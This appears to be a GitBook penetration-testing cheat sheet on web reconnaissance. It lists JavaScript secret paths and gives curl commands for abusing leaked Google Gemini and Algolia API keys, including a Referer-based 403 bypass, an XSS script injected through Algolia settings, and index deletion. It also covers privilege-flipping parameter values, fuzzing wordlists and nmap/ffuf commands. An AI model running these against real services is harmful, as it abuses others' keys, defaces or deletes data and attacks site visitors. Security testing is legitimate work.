{% content-ref url="/pages/XFMFG4djX40RJT1RB02r" %}
[API](/0xss0rz/pentest/api.md)
{% endcontent-ref %}

## Sensitive data in JS Files

Top 25 JavaScript path files used to store sensitive information

```
/js/config.js
/js/credentials.js
/js/secrets.js
/js/keys.js
/js/password.js
/js/api_keys.js
/js/auth_tokens.js
/js/access_tokens.js
/js/sessions.js
/js/authorization.js 
/js/encryption.js
/js/certificates.js
/js/ssl_keys.js
/js/passphrases.js 
/js/policies.js
/js/permissions.js 
/js/privileges.js
/js/hashes.js
/js/salts.js
/js/nonces.js
/js/signatures.js
/js/digests.js
/js/tokens.js
/js/cookies.js
/js/topsecr3tdonotlook.js
```

{% embed url="<https://github.com/BishopFox/jsluice>" %}

{% embed url="<https://github.com/iamunixtz/JSNinja>" %}

<figure><img src="/files/bggugxSlLZY7hmZ6RoEr" alt=""><figcaption></figcaption></figure>

{% content-ref url="/pages/sMiDxTVbbdYwwlcTWYY3" %}
[Sensitive Data (API Key, JWT token, etc.) Exposed](/0xss0rz/pentest/api/sensitive-data-api-key-jwt-token-etc.-exposed.md)
{% endcontent-ref %}

### JS Miner - Burp Extension

### X-Keys - Burp Extension

{% embed url="<https://github.com/vsec7/BurpSuite-Xkeys>" %}

### jsluice++ - Burp Extension

{% embed url="<https://github.com/0x999-x/jsluicepp>" %}

<figure><img src="/files/4btCpM5aHlxeXJiy8RPs" alt=""><figcaption></figcaption></figure>

### SecretFinder

{% embed url="<https://github.com/m4ll0k/SecretFinder>" %}

### JS-Snitch

{% embed url="<https://github.com/vavkamil/js-snitch>" %}

### Mantra

{% embed url="<https://github.com/MrEmpy/mantra>" %}

## Testing API Key

{% embed url="<https://github.com/streaak/keyhacks>" %}

### Google API Key

For years, Google API keys (AIza...) had little to no real-world impact.\
But recently, many of them unexpectedly gained access to **Google Gemini**

```
curl "https://generativelanguage.googleapis.com/v1/models?key=YOU_KEY_HERE"

curl https://generativelanguage.googleapis.com/v1beta/models?key=YOUR_API_KEY

https://generativelanguage.googleapis.com/v1beta/models?key=YOUR_API_KEY
```

{% embed url="<https://infosecwriteups.com/finding-exploiting-exposed-google-api-keys-for-bug-bounties-5ce6685a4927>" %}

**List Files:**

Check whether the API key owner has already uploaded files to the account

```
curl https://generativelanguage.googleapis.com/v1beta/files?key=YOUR_KEY

https://generativelanguage.googleapis.com/v1beta/files?key=YOUR_API_KEY
```

**Upload a PoC File:**

```
echo "Hello, this is a test file" > test.txt

curl -i \
-H "X-Goog-Upload-Protocol: multipart" \
-F 'metadata={"file":{"display_name":"coffin","mimeType":"text/plain"}};type=application/json' \
-F "file=@test.txt;type=text/plain" \
"https://generativelanguage.googleapis.com/upload/v1beta/files?key=YOUR_KEY"
```

Verify it

```
curl "https://generativelanguage.googleapis.com/v1beta/files?key=YOUR_KEY"
https://generativelanguage.googleapis.com/v1beta/files?key=YOUR_KEY
```

Delete the PoC

```
curl -X DELETE "https://generativelanguage.googleapis.com/v1beta/files/1d1j3cg1br3k?key=YOUR_API_KEY"
```

**403 Bypass:**

```
curl -s -H "Referer: https://www.google.com/" "https://generativelanguage.googleapis.com/v1beta/corpora?key=YOUR_API_KEY"
```

**Corpora Endpoint Abuse**

```
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Referer: https://www.google.com/" \
  "https://generativelanguage.googleapis.com/v1beta/corpora?key=YOUR_API_KEY" \
  -d '{"display_name": "your_project_name"}'
  
  
# Dete the project created

curl -X DELETE -H "Referer: https://www.google.com/" "https://generativelanguage.googleapis.com/v1beta/corpora/CORPUS_ID?key=YOUR_API_KEY"
```

### Google Maps API Key

{% embed url="<https://github.com/ozguralp/gmapsapiscanner/>" %}

### Algolia API Key

Tool

{% embed url="<https://github.com/Suryesh/Algopwn>" %}

Manual Testing

{% embed url="<https://www.secjuice.com/api-misconfiguration-data-breach/>" %}

{% embed url="<https://github.com/streaak/keyhacks#Algolia-API-key>" %}

{% embed url="<https://suryesh92.medium.com/algolia-api-key-exploitation-leads-to-1000-bounty-p2-on-private-program-2e147f052ff0>" %}

Check ACL:

```
https://APPID-dsn.algolia.net/1/keys/APIKEY?x-algolia-application-id=APPID&x-algolia-api-key=APIKEY
```

The most damaging permissions are

* **addObject**: Allows adding/updating an object in the index. (Copying/moving indices are also allowed with this permission.)
* **deleteObject**: Allows deleting an existing object.
* **deleteIndex**: Allows deleting an index (will break search completely)
* **editSettings**: Allows changing index settings. - this also allows you to run javascript when the search is used.
* **listIndexes**: Allows listing all accessible indices.
* **logs**: this will allow you to view the search logs, which can include IP Addresses and sensitive cookies.

Abuse editSettings to put an XSS paylaod:

```
curl --request PUT \
  --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings \
  --header 'content-type: application/json' \
  --header 'x-algolia-api-key: <example-key>' \
  --header 'x-algolia-application-id: <example-application-id>' \
  --data '{"highlightPreTag": "<script>alert(1);</script>"}'
```

List indexes

```
curl -X GET \
  "https://{appID}-dsn.algolia.net/1/indexes/" \
  -H "X-Algolia-API-Key: {api-key}" \
  -H "X-Algolia-Application-Id: {appID}"
```

Retrieve/read the data of a resource from the server:

* settings

```
curl --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings --header 'content-type: application/json' --header 'x-algolia-api-key: <example-key>' --header 'x-algolia-application-id: <example-application-id>'
```

* Specific index

```
curl -X GET \
  "https://{appID}-dsn.algolia.net/1/indexes/{index_name}" \
  -H "X-Algolia-API-Key: {apikey}" \
  -H "X-Algolia-Application-Id: {appID}"
```

Update a resource on the server.

```
curl -X PATCH --url https://<application-id>-1.algolianet.com/1/indexes/<example-index>/settings --header 'content-type: application/json' --header 'x-algolia-api-key: <example-key>' --header 'x-algolia-application-id: <example-application-id>' --data '{"highlightPreTag": "This is hacked"}'
```

Delete Index - **DON'T DO THIS ON PRODUCTION ENVIRONMENT**

```
curl -X DELETE \
  "https://{appID}-dsn.algolia.net/1/indexes/Index_name?x-algolia-application-id={appID}&x-algolia-api-key={apiKey}"
```

## Hidden Parameter

This useful option in Burp Suite makes every hidden input field (often with a reference to a hidden parameter) visible

Proxy Settings >>> Response modification rules >>> Unhide hidden form fields

<figure><img src="/files/sqbYmc45IrnAodofcJKJ" alt=""><figcaption></figcaption></figure>

## Parameters fuzzing

```
debug=true
test=1
admin=1
isAdmin=true
isPremium=true
superuser=1
role=user → flip to admin
uid=42
userid=42
account=42
profile=42
ref=partner → flip to internal
partnerId=1
```

### Burp - Param Miner

right-click, extension>Param Miner> Guess params> Guess GET parameters.

<figure><img src="/files/qIu1bWqu3Jl8L8w0FvUu" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/DWc3ZIs4wv8swEefaBb6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/RTXDQaotUuKK9SZ4dOcC" alt=""><figcaption></figcaption></figure>

### Burp - GAP

GetAllParams

{% embed url="<https://github.com/xnl-h4ck3r/GAP-Burp-Extension>" %}

### x8

Hidden parameters discovery

{% embed url="<https://github.com/Sh1Yo/x8>" %}

### Arjun

{% embed url="<https://github.com/s0md3v/Arjun>" %}

{% embed url="<https://blog.intigriti.com/hacking-tools/hacker-tools-arjun-the-parameter-discovery-tool>" %}

```
$ python3 /opt/Arjun/arjun.py -u http://target_address.com

$ python3 /opt/Arjun/arjun.py -u http://target_address.com -o arjun_results.json
```

If you’ve been proxying traffic with Burp Suite, you can select all URLs within the sitemap, use the Copy Selected URLs option, and paste that list to a text file. Then run Arjun against all Burp Suite targets simultaneously, like this:

```
$ python3 /opt/Arjun/arjun.py -i burp_targets.txt
```

### Parmahunter

{% embed url="<https://github.com/nullenc0de/paramhunter>" %}

## Wordlists

{% hint style="success" %}
*Try `/usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt` first, then* [*https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/fuzz.txt*](https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/fuzz.txt)
{% endhint %}

{% content-ref url="/pages/uDePbcQDhOjtjRKV8h1f" %}
[Fuzzing](/0xss0rz/pentest/web-attacks/fuzzing.md)
{% endcontent-ref %}

{% embed url="<https://github.com/Bo0oM/fuzz.txt/blob/master/fuzz.txt?s=03>" %}

{% embed url="<https://github.com/p0dalirius/webapp-wordlists>" %}

{% embed url="<https://github.com/Karanxa/Bug-Bounty-Wordlists>" %}

* dirb lists
* <https://wordlists.assetnote.io/>
* SecList: <https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content>
* BugBounty All Fuzz: <https://raw.githubusercontent.com/Karanxa/Bug-Bounty-Wordlists/refs/heads/main/all_fuzz.txt>
* Common extensions: `raft-[ small | medium | large ]-extensions.txt` from SecList Web-Content
* Create wordlist - CeWL

```shell-session
cewl -m5 --lowercase -w wordlist.txt http://192.168.10.10
```

### Fuzz using different HTTP methods

```
ffuf -u https://api.example.com/PATH -X METHOD -w /path/to/wordlist:PATH -w /path/to/http_methods:METHOD
```

### Admin interfaces

{% embed url="<https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/admin.txt>" %}

### Backups

{% embed url="<https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/backup_files_only.txt>" %}

{% embed url="<https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/backup_files_with_path.txt>" %}

### Config files

{% embed url="<https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/config.txt>" %}

{% embed url="<https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/webconfig.txt>" %}

{% embed url="<https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/git_config.txt>" %}

### SQL files

{% embed url="<https://github.com/Karanxa/Bug-Bounty-Wordlists/blob/main/sql.txt>" %}

## Vulnerability Assessment

{% content-ref url="/pages/Nzygyq2EDupbf0SJBJkV" %}
[Vulnerability Scanners](/0xss0rz/pentest/tools/vulnerability-scanners.md)
{% endcontent-ref %}

{% content-ref url="/pages/gz8RUAKUyAyO1jJkDVU1" %}
[Port Scan](/0xss0rz/pentest/protocols/port-scan.md)
{% endcontent-ref %}

```shell-session
sudo nmap 10.129.2.28 -p 80 -sV --script vuln 

Nmap scan report for 10.129.2.28
Host is up (0.036s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-enum:
|   /wp-login.php: Possible admin folder
|   /readme.html: Wordpress version: 2
|   /: WordPress version: 5.3.4
|   /wp-includes/images/rss.png: Wordpress version 2.2 found.
|   /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
|   /wp-includes/images/blank.gif: Wordpress version 2.6 found.
|   /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
|   /wp-login.php: Wordpress login page.
|   /wp-admin/upgrade.php: Wordpress login page.
|_  /readme.html: Interesting, a readme.
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-wordpress-users:
| Username found: admin
|_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wordpress-users.limit'
| vulners:
|   cpe:/a:apache:http_server:2.4.29:
|     	CVE-2019-0211	7.2	https://vulners.com/cve/CVE-2019-0211
|     	CVE-2018-1312	6.8	https://vulners.com/cve/CVE-2018-1312
|     	CVE-2017-15715	6.8	https://vulners.com/cve/CVE-2017-15715
```

{% embed url="<https://github.com/scmanjarrez/CVEScannerV2>" %}

{% embed url="<https://github.com/vulnersCom/nmap-vulners>" %}

### Lostfuzzer

{% embed url="<https://github.com/coffinxp/lostfuzzer>" %}

## Admin interface

{% content-ref url="/pages/lPfVbJctPeqTcOjUhbgQ" %}
[Password lists](/0xss0rz/pentest/brute-force/password-lists.md)
{% endcontent-ref %}

## CMS&#x20;

{% embed url="<https://github.com/Tuhinshubhra/CMSeeK>" %}

{% content-ref url="/pages/BNYnMWR6ycmbnuzzgqLK" %}
[CMS](/0xss0rz/pentest/web-attacks/cms.md)
{% endcontent-ref %}

## Crawling&#x20;

### Crawl with 2 separate user-agent

Always crawl with 2 separate user-agent headers, one for desktop and one for mobile devices and look for response changes!

```
gospider -s "http://app.example.com" -c 3 --depth 3 --no-redirect --user-agent "Mozilla/5.0 (iPhone; CPU iPhone OS 15_1_1 like Mac OS X..." -o mobile_endpoints.txt
```

<figure><img src="/files/5MOHdgjN97dALVquvwq3" alt=""><figcaption></figcaption></figure>

### Gospider

{% embed url="<https://github.com/jaeles-project/gospider>" %}

{% embed url="<https://blog.intigriti.com/hacking-tools/hacker-tools-gospider>" %}

### Hakrawler

{% embed url="<https://github.com/hakluke/hakrawler?s=03>" %}

### With Burp

{% embed url="<https://portswigger.net/burp/documentation/desktop/automated-scanning/webapp-scans/full-crawl-and-audit>" %}

### With Zap

{% embed url="<https://www.zaproxy.org/>" %}

```
sudo snap install zaproxy --classic
```

* Spidering

<figure><img src="/files/8pcoTb2JBZMbexr2wcKJ" alt=""><figcaption></figcaption></figure>

* Fuzzing

<figure><img src="/files/31N0wKgpciDwyC6hL7Le" alt=""><figcaption></figcaption></figure>

## Fuzz

[Wordlists](#wordlists)

{% content-ref url="/pages/uDePbcQDhOjtjRKV8h1f" %}
[Fuzzing](/0xss0rz/pentest/web-attacks/fuzzing.md)
{% endcontent-ref %}

```
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt
```

```shell-session
ffuf -recursion -recursion-depth 1 -u http://192.168.10.10/FUZZ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
```

```shell-session
ffuf -w ./folders.txt:FOLDERS,./wordlist.txt:WORDLIST,./extensions.txt:EXTENSIONS -u http://192.168.10.10/FOLDERS/WORDLISTEXTENSIONS
```

#### Admin interface=> [Password guessing](/0xss0rz/pentest/brute-force/password-lists.md)

#### [CMS](/0xss0rz/pentest/web-attacks/cms.md)&#x20;

## Banner grabbing

```
curl -IL https://www.inlanefreight.com
```

Tool: <https://github.com/FortyNorthSecurity/EyeWitness> ; or Aquatone

{% content-ref url="/pages/ziUET1mKbgC3HbH4BP0f" %}
[Information Gathering](/0xss0rz/pentest/recon/information-gathering.md)
{% endcontent-ref %}

```
whatweb 10.10.10.121
whatweb --no-errors 10.10.10.0/24
```

## DNS Subdomain Enumeration

{% content-ref url="/pages/SCrO3Y5edNNTmZbcS19w" %}
[DNS Subdomain Enumeration](/0xss0rz/pentest/recon/dns-subdomain-enumeration.md)
{% endcontent-ref %}

## Cloudflare Bypass for Web Scraping

{% embed url="<https://github.com/sarperavci/CloudflareBypassForScraping>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="/files/a876wNYE568SJIfTZVxL" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

## Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

[![ko-fi](https://ko-fi.com/img/githubbutton_sm.svg)](https://ko-fi.com/Y8Y41FQ2GA)

[![buymeacoffee](https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png)](https://buymeacoffee.com/0xss0rz)
